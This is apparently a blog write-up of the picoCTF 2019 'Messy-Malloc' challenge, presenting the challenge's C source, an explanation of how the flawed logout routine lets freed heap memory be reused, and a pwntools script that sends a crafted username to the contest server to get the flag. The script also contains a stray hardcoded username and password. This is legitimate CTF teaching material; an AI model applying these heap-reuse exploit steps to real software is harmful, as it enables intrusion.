Binary Exploitation Series Part 3

Messy-Malloc picoctf2019 write-up

Welcome back folks to a new write-up. I decided to introduce a new topic which is heap exploitation which is really a big topic in general but we’re just learning the basics so this write-up will introduce you to the basics of heap exploitation and I’ll be linking some references.

So as always let’s dive into the C source code.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define LINE_MAX 256
#define ACCESS_CODE_LEN 16
#define FLAG_SIZE 64

struct user {
  char *username;
  char access_code[ACCESS_CODE_LEN];
  char *files;
};

struct user anon_user;
struct user *u;


/*this has to be like this in memory
[8-bytes][0x4343415f544f4f520x45444f435f535345][8-bytes]*/
void print_flag() {
  char flag[FLAG_SIZE];
  FILE *f = fopen(“flag.txt”, “r”);
  if (f == NULL) {
    printf(“Please make sure flag.txt exists\n”);
    exit(0);
  }

  if ((fgets(flag, FLAG_SIZE, f)) == NULL){
    puts(“Couldn’t read flag file.”);
    exit(1);
  };

  unsigned long ac1 = ((unsigned long *)u->access_code)[0];
  unsigned long ac2 = ((unsigned long *)u->access_code)[1];
  if (ac1 != 0x4343415f544f4f52 || ac2 != 0x45444f435f535345) {
    fprintf(stdout, “Incorrect Access Code: \””);
    for (int i = 0; i < ACCESS_CODE_LEN; i++) {
      putchar(u->access_code[i]);
    }
    fprintf(stdout, “\”\n”);
    return;
  }

  puts(flag);
  fclose(f);
}

void menu() {
  puts(“Commands:”);
  puts(“\tlogin – login as a user”);
  puts(“\tprint-flag – print the flag”);
  puts(“\tlogout – log out”);
  puts(“\tquit – exit the program”);
}

const char *get_username(struct user *u) {
  if (u->username == NULL) {
    return “anon”;
  }
  else {
    return u->username;
  }
}
/*
This function will allocate (32 bytes) in memory which will be pointed by u pointer
Also another allocation for the user name length which is taken from the stdin    
*/
int login() {
  u = malloc(sizeof(struct user));

  int username_len;
  puts(“Please enter the length of your username”);
  scanf(“%d”, &username_len);
  getc(stdin);

  char *username = malloc(username_len+1);
  u->username = username;

  puts(“Please enter your username”);
  if (fgets(username, username_len, stdin) == NULL) {
    puts(“fgets failed”);
    exit(-1);
  }

  char *end;
  if ((end=strchr(username, ‘\n’)) != NULL) {
    end[0] = ‘\0’;
  }

  return 0;

}

/*This will deallocate the memory for the username allocated space and the pointer which is pointing to our user struct
the vuln is in this section because the fields of the structs has to be freed before the struct pointer*/
int logout() {
  char *user = u->username;
  if (u == &anon_user) {
    return -1;
  }
  else {
    free(u);
    free(user);
    u = &anon_user;
  }
  return 0;
}

int main(int argc, char **argv) {

  setbuf(stdout, NULL); // will free the buffer

  char buf[LINE_MAX];

  memset(anon_user.access_code, 0, ACCESS_CODE_LEN);
  anon_user.username = NULL;

  u = &anon_user;

  menu();

  while(1) {
    puts(“\nEnter your command:”);
    fprintf(stdout, “[%s]> “, get_username(u));

    if(fgets(buf, LINE_MAX, stdin) == NULL)
      break;

    if (!strncmp(buf, “login”, 5)){
      login();
    }
    else if(!strncmp(buf, “print-flag”, 10)){
      print_flag();
    }
    else if(!strncmp(buf, “logout”, 6)){
      logout();
    }
    else if(!strncmp(buf, “quit”, 4)){
      return 0;
    }
    else{
      puts(“Invalid option”);
      menu();
    }
  }
}

So let’s go through the code step by step and analyze what each function does. 

  1. Let’s start with main function there’s not that much going in main it’s just validating the user input and jump to the desired location , so if the user choice is login main will jump to the login page 
  2. Login function , this will allocate (32 bytes) in memory which is the size of user struct (8-bytes for the username pointer + 16-bytes for the buffer + 8-bytes for files pointer) , next this function will ask the user for a length to enter which is used to allocate memory the the username field   char *username = malloc(username_len+1);
      u->username = username;  then it’ll terminate the string by replacing \n with \0 
  3. Now it comes the vulnerable function the logout it took me time to know where the bug is so bare in mind with me we know that when malloc returns a pointer to the address it allocates, and as you know the login function allocates two pointers one for the user struct and the other one username.
  4. The print-flag which’s clear the it’ll print the flag if this condition is satisfied if (ac1 != 0x4343415f544f4f52 || ac2 != 0x45444f435f535345)     

Now we know what each function does let’s break the process of this binary and see how we can exploit it.

First download the binary from this link and run it on your local machine , Now try to login and enter your required information. So what will happen now is that the heap allocator will give you two pointers for the sake of simplicity let’s create or list for the given pointer.

User_struct = 0x99999999 [dummy address]

username_pointer = 0x88888888 [dummy address]

Now when you logout what will happen actually is that the heap will store the address that it gives into a linked-list with stack-implementation so it’ll not assign a new address each time. 

Deallocated_pointers = [ username_pointer, User_struct]

Now when you login again the user struct will be given the address of the username_pointer and that’s what we want to achieve. Here’s an example of the user struct.

struct user {
  char *username; 8-bytes dummy data
  char access_code[ACCESS_CODE_LEN];16-bytes ACCESS-CODE
  char *files;8-bytes dummy data
};

So our payload is [8-bytes][16-bytes ACCESS-CODE][[8-bytes], And yeah this is how I approached this challenge.

What to learn from this change is that sometimes the heap uses the same address twice without any randomization so you have to take in mind how to abuse this bug also for this to be safe the fields of the structs has to be freed before the struct.

Here’s a python script.

from pwn import *
AC1 = 0x4343415f544f4f52
AC2 = 0x45444f435f535345

user = ‘alesawe’
pw = ‘Omar1999@’

io = remote(‘2019shell1.picoctf.com’, 12286)
# r.set_working_directory(‘/problems/newoverflow-1_2_706ae8f01197e5dbad939821e43cf123’)

# io = r.process(‘./vuln’)
def select_menu(io, command):
    io.sendlineafter(“]> “, command)

def login(io, name):
    # log.info(“Logging in as {} ({})”.format(name, enhex(name)))
    select_menu(io, “login”)
    io.sendlineafter(“Please enter the length of your username”, str(len(name)))
    io.sendlineafter(“Please enter your username”, name)

def logout(io):
    log.info(“Logging out”)
    select_menu(io, “logout”)
   
def print_flag(io):
    log.info(“Printing flag”)
    select_menu(io, “print-flag”)

def quit(io):
    log.info(“Quitting”)
    select_menu(io, “quit”)

# io = process(‘./auth’)
login(io, b”a”*8 + p64(AC1) + p64(AC2) + b”b”*8)
logout(io)
login(io, “A”)
print_flag(io)
quit(io)
print (io.recvall())

Thanks for reading I hope you learned something new. 

Some references: 

Heap Exploit Development | Azeria Labs, shellphish/how2heap: A repository for learning various heap exploitation techniques. 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s